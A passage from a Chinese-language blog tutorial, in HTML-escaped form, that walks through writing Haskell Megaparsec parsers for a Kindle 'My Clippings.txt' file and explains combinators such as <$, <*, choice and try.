&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  where&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    whichType &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;标注&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Highlight&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    whichType &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;笔记&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Note&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    whichType &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;书签&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Bookmark&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    whichType &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;文章剪切&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Cut&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中新出现的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;string&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数意为匹配傻瓜引号里的字符串：&lt;code&gt;string &quot;标注&quot;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只有在遇到“标注”二字时才会成功，并且返回包着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&quot;标注&quot;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;。而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;|&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的意思是先尝试匹配左边的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;，如果不成功再尝试右边的。所以这个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pType&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的意思是依次尝试匹配“标注&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;笔记&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;……然后再把匹配到的字符串转换成对应类型。&lt;&#x2F;p&gt;
&lt;p&gt;这个函数会正常工作，但我们重复写了两遍同样的字符串。有没有更好的方法直接让&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;string &quot;标注&quot;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;成功后返回&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Highlight&lt;&#x2F;code&gt;？有：&lt;code&gt;&amp;lt;$&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;$&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;$&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类似，会将它左边的东西拿进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;。不过区别在于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;$&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会拿进来一个函数，以右边被包住的参数调用函数；而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;$&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会把左边的东西放进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;，舍弃右边的值——只有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;string &quot;标注&quot;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;成功时才会进行替换，所以并不是白白舍弃。另外，我们还会看到类似&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;*&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;*&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;*&amp;gt;&lt;&#x2F;code&gt;。后两者的区别和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;$&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;及&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;$&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的区别类似：舍弃右边或左边的值（尖括号指着的一边才会被保留&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;有了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;$&lt;&#x2F;code&gt;，我们可以写出更紧凑的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pType&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pType&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser ClippingType&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pType &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  choice&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Highlight&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;标注&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;      Note&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;笔记&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;      Bookmark&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;书签&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;      Cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;文章剪切&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; | 添加于 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;choice&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;|&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的另一种写法，它相当于用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;|&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;串联起列表里的每一项——不过以一对方括号代替了好多圆、尖括号。&lt;&#x2F;p&gt;
&lt;p&gt;另外我还在末尾添加了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;* string &quot; | 添加于 &quot;&lt;&#x2F;code&gt;，意为匹配“
| 添加于
&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，但舍弃匹配掉的值。这是因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;My Clippings.txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中有许多对我们的程序没意义的字符，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时我们需要手动跳过它们。我倾向于让每个小&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在最后处理掉那些没用的字符，这样的话下一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就可以直接写重要的逻辑了&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;我这样操作，其实是受了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;markkarpov.com&#x2F;tutorial&#x2F;megaparsec.html#white-space&quot;&gt;Megaparsec&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;教程&lt;&#x2F;a&gt;的启发。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pLocation&quot;&gt;pLocation&lt;&#x2F;h3&gt;
&lt;p&gt;从前面的两个例子可以看出，标注位置是一个范围，而笔记位置只有一个数字。实际上，每做一个笔记都会生成相应的标注，而标注范围的最后一个数字和笔记的数字是一样的（确实有反例，但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5212&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;条里只见过一个&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。所以我只用一个数字表示位置：遇到范围时只保留横线后的数字。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pLocation&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser Int&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pLocation &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;try range &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;|&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;）的&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;|&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 的&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;|&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;的&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  where&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    range &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; char &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;L.decimal&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是匹配十进制数字，&lt;code&gt;char&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是匹配一个字符，所以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;L.decimal *&amp;gt; char &#x27;-&#x27; *&amp;gt; L.decimal&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代表匹配并舍弃一个十进制数和横线，然后再匹配并保留一个十进制数。&lt;&#x2F;p&gt;
&lt;p&gt;我们已经见过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;|&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;表示“先尝试左边的，不成功再尝试右边的&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。但如果它尝试完左边的，没有恢复尝试之前的状态就去调用右边的函数会有问题：我叫你在这个路口右拐，你先左拐发现走错了，直接右拐是不对的——你应该回到这个路口再右拐。&lt;code&gt;pType&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;|&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;没问题，因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;string&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是很基础的函数（primitive&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，失败后会自动恢复之前的状态（回溯&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。我们的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;range&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数不是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;primitive，所以要叠加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;try&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数来达成失败时回溯的功能&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;Attoparsec&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会自动回溯所有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser，但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Megaparsec&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只能自动回溯&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;primitive。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这下就可以看出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;try range &amp;lt;|&amp;gt; L.decimal&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是先尝试匹配“x-y”的格式，若成功则保留&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;y，失败则单独匹配一个数字——parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位置的功能到此结束了。但别忘了我们还得继续匹配后面“没用的字符&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;：三种“的&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;——也就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;*&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后面的代码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pContent&quot;&gt;pContent&lt;&#x2F;h3&gt;
&lt;p&gt;接下来相对简单的子问题是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;标注&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;笔记的内容。我扫了下我两万多行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;My Clippings.txt，发现内容就是一行字。所以可以写出如下代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser Text&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pLine &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; T.&lt;&#x2F;span&gt;&lt;span&gt;pack &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; manyTill anySingle eof&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pContent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser Text&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pContent &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; pLine &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;==========&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; eol&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;manyTill anySingle eof&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这一句可读性很高：尝试匹配足够多的字符，知道遇到换行符。&lt;code&gt;T.pack&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的出现是因为我们希望用高性能的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Text&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类型表示字符串，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;manyTill anySingle eof&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;返回的是一个装着单个字符的列表。&lt;&#x2F;p&gt;
&lt;p&gt;这个实现很好，但有两个性能问题：我们的输入和输出都是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Text&lt;&#x2F;code&gt;，中间却要分配内存开个链表完全是多余的；而且&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;manyTill anySingle eof&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;意味着每匹配一个字符，就要用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;eof&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;匹配一下，不成功再回溯。虽然说我们要匹配的文本规模是如此之小，以至于没必要关心性能问题，但更好的方法也很简单：&lt;&#x2F;p&gt;
